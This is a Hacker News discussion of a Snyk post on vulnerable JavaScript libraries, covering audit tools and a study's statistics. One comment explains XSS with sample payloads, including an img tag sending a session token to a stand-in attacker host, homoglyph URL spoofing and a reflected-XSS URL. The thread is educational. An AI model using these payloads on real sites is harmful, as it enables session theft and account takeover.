
The Frequency of Known Vulnerabilities in JavaScript - tkadlec
https://snyk.io/blog/known-vulnerabilities-in-javascript/
======
ghiculescu
In ruby land, there's a great gem - [https://github.com/rubysec/bundler-
audit](https://github.com/rubysec/bundler-audit) \- that lets you know when
specific gem versions have a known security vulnerability.

We run it as part of our CI. When a vulnerability drops, it gets fixed pretty
quickly since otherwise everyone's build fails.

Does anyone know of any equivalents for the JS world? A quick google finds
[https://github.com/nodesecurity/nsp](https://github.com/nodesecurity/nsp) but
keen to hear what other people are doing.

~~~
narsil
Nice. Is there an equivalent for Python? A quick Google search doesn't seem to
pull up anything obvious.

~~~
ubernostrum
See [https://requires.io/](https://requires.io/) for this as a service with
source-control integration.

------
scandox
I'd like to see some practical examples of exploited vulnerabilities in client
side JS libraries. I always think of everything client side as happening in a
context of total insecurity- in the sense that I make no assumptions of what
the client will do in relation to the server.

Is this more about libraries that expose the client to attacks from code on
other sites?

Perhaps I'm complacent about this but I often think of this as the
responsibility of the browser...

~~~
Rapzid
Your users aren't authorized to carry out actions on the server? There is no
information in your front end that should remain secret to you and the user?

~~~
scandox
Indeed there is. Most often a token, stored in localStorage. But that token
can be used from anywhere and with any mechanism. So I guess what I mean is
that if there is a way for somebody to intercept or retrieve it, then I have
in the past viewed that as a vulnerability of the browser (probably wrongly).

So what I'd love to understand better is the kind of attacks that would be
practical, and how they would exploit a 3rd party library.

By the way I am totally receptive to the possibility that there may be grave
vulnerabilities. I just don't have the kind of mind that easily thinks of
them.

Edited: for clarity

~~~
jamiesonbecker
Your humility is pretty awesome.

As a simple example, paste <script>alert("haha")</script> into an form in your
system that will (eventually) be viewable to someone else. Let's say it's
something innocuous like the quantity field on an order form or a comment on a
comment form.

Now, none of those characters will attack your database through SQL injection,
right? So what happens when you (the administrator) views your latest orders?
Basically, that javascript is now operating in the security context of you,
the administrator, not in the context of the attacker that submitted it. It
could do something worse than alert()... for example, it could grab your
session token or a cookie's secret value (depending on the cookie) and send it
off to <img src=evilattacker.xyz/clear.gif?sid=xxxx>, and now the attacker can
become you.

Or, it could do the same thing to another user on your forum when they look at
the evil comment.

This sort of attack is easy to do and broadly considered XSS (cross-site
scripting). There are related areas of attack, like cookie forgery, referral,
etc attacks. The OWASP string replacement guidelines (or my safify.js) can
help with this, but ultimately string sanitation has to make sense for the
context (i.e., browser bad characters are different from SQL injection bad
characters).

And, you have to think about the weakest link... us poor humans, to whom
similar 𝖻𝗎𝗍 𝗇𝗈𝗍 𝗊𝗎𝗂𝗍𝖾 𝗍𝗁𝖾 𝗌𝖺𝗆𝖾 𝗎𝗇𝗂𝖼𝗈𝖽𝖾 𝗅𝖾𝗍𝗍𝖾𝗋𝗌 𝖼𝖺𝗇 𝖻𝖾 𝗎𝗌𝖾𝖽 𝗍𝗈 𝗍𝗋𝗂𝖼𝗄 𝗌𝗈𝗆𝖾𝗈𝗇𝖾...
𝗆𝖺𝗒𝖻𝖾 𝗍𝗁𝖾𝗒 𝗍𝗁𝗂𝗇𝗄 𝗂𝗍'𝗌 𝖺 𝖽𝗂𝖿𝖿𝖾𝗋𝖾𝗇𝗍 𝖴𝖱𝖫 𝗍𝗁𝖺𝗇 𝗂𝗍 𝗂𝗌, 𝗈𝗋 𝖺 𝖽𝗂𝖿𝖿𝖾𝗋𝖾𝗇𝗍 𝗎𝗌𝖾𝗋𝗇𝖺𝗆𝖾..
(paste that into vim to see the actual characters in the preceding sentence.)

    
    
        𝗁𝗍𝗍𝗉𝗌://𝗀𝗈𝗈𝗀𝗅𝖾.𝖼𝗈𝗆/?𝗊=𝗇𝗈𝗍+𝗐𝗁𝖺𝗍+𝗒𝗈𝗎+𝗍𝗁𝗂𝗇𝗄
    

None of those unicode characters will usually trigger any blacklists, but
because it "looks" right, sometimes can even trick security-aware hackers.
(see also punycode). What if someone spoofs someone's username on github?

There's lots and lots of interesting ways to attack websites. It's tough to
keep track of them all.

Another example. Your 404 page..

    
    
        <h1>404</h1>
        <p>Sorry, /x/y/z doesn't exist.</p>
    

Now, someone says "Hey, can you please visit this site?"

[https://yoursite.com/this-is-a-long-url-thats-hidden-in-a-
an...](https://yoursite.com/this-is-a-long-url-thats-hidden-in-a-anchor-tag-
or-something-%3Cscript%3Ealert\(1\)%3B%3C%2Fscript%3E)

~~~
scandox
Humility is all I've got :)

------
markwaldron
For Node we use [https://nodesecurity.io/](https://nodesecurity.io/) for all
our npm packages. It does a pretty great job of alerting us quickly to any
vulnerabilities reported for our packages.

------
libertymcateer
I just looked at the paper, very briefly. Below is kind of a tl;dr (please do
not hestitate to correct me if I got anything wrong [though that particular
statement goes without saying on this site...])

* Based on the below text (taken from the underlying paper[0]) can you fine folks spot check me on my re-interpretation of the central claim?

>Using these tools, we crawled the Alexa Top 75 k websites and a random sample
of 75 k websites drawn from a snapshot of the .com zone in May 2016. These two
crawls allow us to compare and contrast JavaScript library usage between
popular and unpopular websites. In total, we observed 11,141,726 inline
scripts and script file inclusions; 87.7 % of Alexa sites and 46.5 % of .com
sites used at least one well-known JavaScript library, with jQuery being the
most popular by a large majority. Analysis of our dataset reveals many
concerning facts about JavaScript library management on today’s Web. More than
a third of the websites in our Alexa crawl include at least one vulnerable
library version, and nearly 10 % include two or more different vulnerable
versions. From a per-library perspective, at least 36.7 % of jQuery, 40.1 % of
Angular, 86.6 % of Handlebars, and 87.3 % of YUI inclusions use a vulnerable
version.

* My reinterpretation: So, of the top 75k Alexa website, 37% use a version of one of the 72 tested javascript libraries with that has a "known vulnerability"?

Is that the claim?

* Can anyone get a table of the 72 libraries tested and an associated matrix of the known vulnerabilities?

* Are there different levels of classification in these vulnerabilities? As in, do some allow for successful MITM, do some allow for injected code, or are they more benign? Are we to assume that they are all very serious vulnerabilities? Are we to assume that all these are browser-security vulnerabilities, or are they susceptible to attack from other network sources?

This is very interesting, but I think we need a lot more data. Frankly, I am a
bit disappointed that they do not have a simple to read table of the most
popular 72 libraries and their known vulnerable packages - I would love to
know if for no other reason to check that I am not using any of them.

Though I will say one thing: 37% is a _lot_ lower than I would have
anticipated but a still very sobering number.

[0]
[http://www.ccs.neu.edu/home/arshad/publications/ndss2017jsli...](http://www.ccs.neu.edu/home/arshad/publications/ndss2017jslibs.pdf)

~~~
tkadlec
> * The complete list of the 72 libraries that were tested? I could not find
> it.

Me either. They list out the 30 most popular of those 72, but I can't see the
full list. Yet another reason why the 37% they report may be underselling the
issue—without being able to see the full list, it's hard to confirm 100%.

> To summarize (please correct me if I am wrong): So, of the top 75k Alexa
> website, 37% use a version of one of the 72 tested javascript libraries with
> a known vulnerability?

Yes, that's the claim they're making.

> Are there different levels of classification in the vulnerabilities? As in,
> do some allow for successful MITM, do some allow for injected code, or are
> they more benign?

They don't go into that. Based on what I know about the vulns in the libraries
they discuss, they didn't do anything to distinguish low/medium/high or
vulnerability type. From what we see in our DB, XSS remains the most common
type.

> This is very interesting, but I think we need a lot more data

I'm digging through our ([https://snyk.io](https://snyk.io)) analytics and a
few other sources to try to get a different (albeit, npm-centric) perspective
on this. I'll try to remember to come back and ping you when it's done.

~~~
libertymcateer
Thank you kindly, dotcomrade.

------
homakov
Server side or client side? If client side, the only vuln that matters is
(DOM) XSS, is it the case? If not, that's not worth patching.

------
rattray
mods: can the title be changed to clarify that these are vulnerabilities in
"JavaScript Libraries", not JavaScript itself?

------
heroprotagonist
Does 398 vulnerabilities in NPM seem low?

[https://snyk.io/vuln?type=npm](https://snyk.io/vuln?type=npm)

~~~
edejong
Although it seems pedantic, it is important to note that these are 398
_publicly known_ vulnerabilities. An easily overlooked distinction. (Small
edit due to style).

------
chiliap2
The article lists
[https://snyk.io/vuln/npm:moment:20161019](https://snyk.io/vuln/npm:moment:20161019)
as an example of a vulnerability (although not one that is tracked). Could
someone explain how a Javascript vulnerability could cause a DDoS? Even if it
does cause Moment to hang, how would that affect the server?

~~~
tmikaeld
A simple Ajax loop would certainly stress the server when run on a lot of
clients.

------
jrowley
Okay, so I hate to be that guy but if I'm only using js on the frontend what
is the danger is using a library with a vulnerability?

~~~
bastijn
They can for instance take over the session of your user and pretend to be
them via an XSS vulnerability.

------
sytelus
37% of surveyed sites used at least one library with known vulnerability.
Websites don't upgrades these libraries frequently either. The question in my
mind is why browsers don't ship with popular JS libraries? That way downloads
can be reduced and also such security issues can be addressed more centrally.

~~~
Walf
It doesn't matter how the updates to libraries are done, people don't update
because it means API changes and testing your code to see what broke and fix
it. Most clients do not understand, let alone want to pay for that kind of
maintenance.

------
jlebrech
most javascript vulnerabilities are because you're using it wrong.

------
kleiba
Is "vuln" a word now? (Non-native speaker here, actually interested, not
trying to troll.)

~~~
godmodus
been a "word" since forever mate, i even remember using it in the 90s. and
it's alright, you might just be young or haven't forayed much into the deeper
corners of the web where 'vulns' get discussed.

~~~
peterwwillis
did you see that noobs box get pwnd by that js vuln? what a waste of a 0day.
luldongues

~~~
godmodus
Well we didn't use luldongues where I hanged out, but beyond that, pretty
accurate for a clean, leetspeak free version :P

Ahh, it's been awhile since I was 16.

